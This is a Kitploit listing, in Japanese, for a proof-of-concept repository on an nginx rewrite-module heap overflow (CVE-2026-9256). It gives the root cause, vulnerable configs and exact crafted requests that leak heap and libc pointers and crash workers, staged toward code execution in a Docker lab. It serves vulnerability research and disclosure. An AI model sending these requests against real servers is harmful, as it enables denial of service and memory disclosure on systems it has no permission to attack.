Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-9256-Poc — nginxのngx_http_rewrite_moduleにおけるCVE-2026-9256ヒープバッファオーバーフローを実証します。ヒープ/libcリークとワーカークラッシュのためのPoCスクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/3nou9h/cve-2026-9256-poc
メモリフォレンジック脆弱性分析エクスプロイトウェブセキュリティ学習と教育バイナリエクスプロイト
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

nginxのngx_http_rewrite_moduleにおけるCVE-2026-9256ヒープバッファオーバーフローを実証します。ヒープ/libcリークとワーカークラッシュのためのPoCスクリプトを含みます。

リポジトリを見る
31174ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

nginx ngx_http_rewrite_module ヒープバッファオーバーフロー

説明

nginx Plus および nginx オープンソースの ngx_http_rewrite_module には、ヒープバッファオーバーフローの脆弱性があります。rewrite ディレクティブが、複数の重複する PCRE キャプチャグループ(例:^/((.*))$)を含む正規表現と、複数のキャプチャを参照する置換文字列(例:$1&y=$2)を使用する場合、静的パスバッファのサイズ計算が必要なスペースを過小評価し、実際の書き込みが割り当てられたサイズを超えます(プールスリップ)。

認証されていない攻撃者は、細工された HTTP リクエストを介してこれをトリガーし、ワーカープロセス内でヒープバッファオーバーフローを引き起こす可能性があります。ASLR が無効化されているか、バイパス可能な場合、コード実行が可能です。

根本原因

ファイル: src/http/ngx_http_script.c:1143-1155

if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: エスケープオーバーヘッドが URI 全体に対して一度だけカウントされる
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // 生の長さ
    }
}

各 $N はコピー時に独立してエスケープされます(ngx_http_script.c:1397-1401)。ネストされたキャプチャにより、同じ部分文字列が二重にエスケープされ、エスケープコストが倍増しますが、割り当てでは一度だけしか計算されません。

オーバーフロー計算式(2 層のネスト ((.+))、URI 内の + 文字数 Q):

allocated = code_size + 2*Q + 2*(Q+1)
actual    = code_size + 2*(3*Q + 1)
overflow  = 2*Q  (正確に制御可能)

トリガー条件(以下の 3 つすべてが必要):

条件詳細
名前付き変数なし、重複する $N なし静的パス(sc.variables==0 && !sc.dup_capture)
正規表現内のネストされたキャプチャグループ例:((.+)) により $1 と $2 が同じ内容に一致する
URI 内の + または %XXエスケープパスをトリガー(plus_in_uri または quoted_uri)

テスト環境

要件

  • Docker(docker compose 付き)
  • Python 3(サードパーティの依存関係は不要)

ディレクトリ構造

.
├── env/
│   ├── Dockerfile                 # nginx:1.31.0 をベース
│   ├── docker-compose.yml         # コンテナ設定(SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR オン(デフォルト)
│   ├── entrypoint_aslr_off.sh     # ASLR オフ(libc_leak 用)
│   └── nginx.conf                 # 脆弱な構成
├── heap_leak.py                   # heap_leak PoC
├── libc_leak.py                   # libc_leak PoC
├── crash_verify.py                # crash_verify PoC
├── LICENSE
└── README.md

ビルドと実行

cd env/

# ベースイメージをプル(約200MB)
docker pull nginx:1.31.0

# ビルドして起動
docker compose up --build -d

# 確認
curl -s http://127.0.0.1:19321/
# 出力: ok

よく使うコマンド

# nginxログの表示(クラッシュ情報)
docker compose logs -f

# 停止して削除
docker compose down

# 再起動(クラッシュ後)
docker compose restart

ASLR

現在の状態を確認:

cat /proc/sys/kernel/randomize_va_space
# 0 = オフ, 1 = 部分, 2 = 完全

heap_leak と crash_verify は ASLR の有無に関わらず動作します。libc_leak はホストで ASLR を無効にする必要があります:

sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

別の方法として、nginx プロセスに対してのみ ASLR を無効にすることも可能です(ホストの特権は不要): entrypoint_aslr_off.sh を entrypoint.sh にコピーし、docker compose up --build -d を実行します。

注:コンテナはホストカーネルを共有します。randomize_va_space はホストで設定する必要があります。

検証結果

ヒープポインタリーク

必要な設定:

location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

メカニズム: プールスリップにより、ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) がオーバーフローゾーンに配置されます。スクリプトエンジンの初期化済みフィールド(e->ip、e->sp、e->request)が書き換えられた URI のクエリ文字列に漏洩し、return 200 "$arg_y" を介して反映されます。

リクエスト:

GET /echo/%25%25%25%25%25A HTTP/1.0

検証結果(nginx:1.31.0、ASLR オン):

e->ip      = 0x00006544dec82430  (設定プールコード配列)
e->sp      = 0x00006544dec5ada0  (リクエストプールスクリプトスタック)
e->request = 0x00006544dec58880  (リクエスト構造体)

リークされるもの: nginx ワーカーアドレス空間内の生のヒープポインタ。

PoC: heap_leak.py


libc 範囲ポインタリーク

必要な設定:

location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # 到達可能である必要あり
    add_header X-Leak-Y "$arg_y" always;
}

メカニズム: proxy_pass によりアップストリームの初期化がトリガーされます。ライブラリ関数ポインタを含むアップストリーム構造体がオーバーフローゾーンに割り当てられます。add_header "$arg_y" により生のバイトがレスポンスヘッダに書き込まれます。

リクエスト:

GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

検証結果(nginx:1.31.0、ASLR オフ、request_pool_size=7920):

leaked ptr = 0x00007fbfc3b7c346

リークされるもの: 0x7f... 範囲内の生のポインタ(libc ロード領域)。libc ベースを計算するには、ターゲット上で /proc/<pid>/maps を読み取り、leaked_ptr - libc_base を計算します。

ASLR 依存性: この段階では ASLR オフが必要です。リークされたポインタは解放されたチャンクのメタデータ(fd/bk → main_arena)に由来します。ASLR オンの場合、解放されたチャンクのオフセットが変化し、小さなオーバーフローでは確実に到達できません。

PoC: libc_leak.py


より簡単な代替方法: redirect モード(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;)を使用すると、Location ヘッダにより文字エンコーディングの問題なく生のオーバーフローバイトが直接露出されます。単一のリクエストでヒープポインタをリーク(Q=10~450)したり、クラッシュを引き起こしたり(Q >= 500)できます。proxy_pass や特別な pool_size は不要です。


ワーカークラッシュ(DoS)

必要な設定:

location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

メカニズム: 9 層のネストによりオーバーフロー = 16Q(2 層では 2Q)。request_pool_size=7920 の場合、Q=123 でプールブロック境界を超え、隣接する malloc チャンクメタデータを上書きします。glibc が破損を検出し、ワーカーを終了します。マスターは自動的に再起動します。

リクエスト:

GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

検証結果(nginx:1.31.0、request_pool_size=7920):

Q=122: 正常な応答  (オーバーフロー=1952B)
Q=123: 応答なし、nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
5/5 回再現。

ネストの深さと pool_size: N 層のネストではオーバーフロー = (N-1)*2*Q。デフォルトの pool_size=4096 で 9 層のネストでは十分にクラッシュします。より大きな pool_size では特定の Q に対してより少ない層数で済みます。

PoC: crash_verify.py

PoC の実行

# ステージ 1: ヒープポインタリーク
python3 heap_leak.py 127.0.0.1 19321

# ステージ 2: libc 範囲ポインタリーク(ASLR オフが必要)
python3 libc_leak.py 127.0.0.1 19321

# ステージ 3: DoS クラッシュ
python3 crash_verify.py 127.0.0.1 19321

免責事項

この概念実証は、教育目的および許可されたセキュリティ研究の目的でのみ提供されています。不正使用は禁止されています。

ツールをダウンロード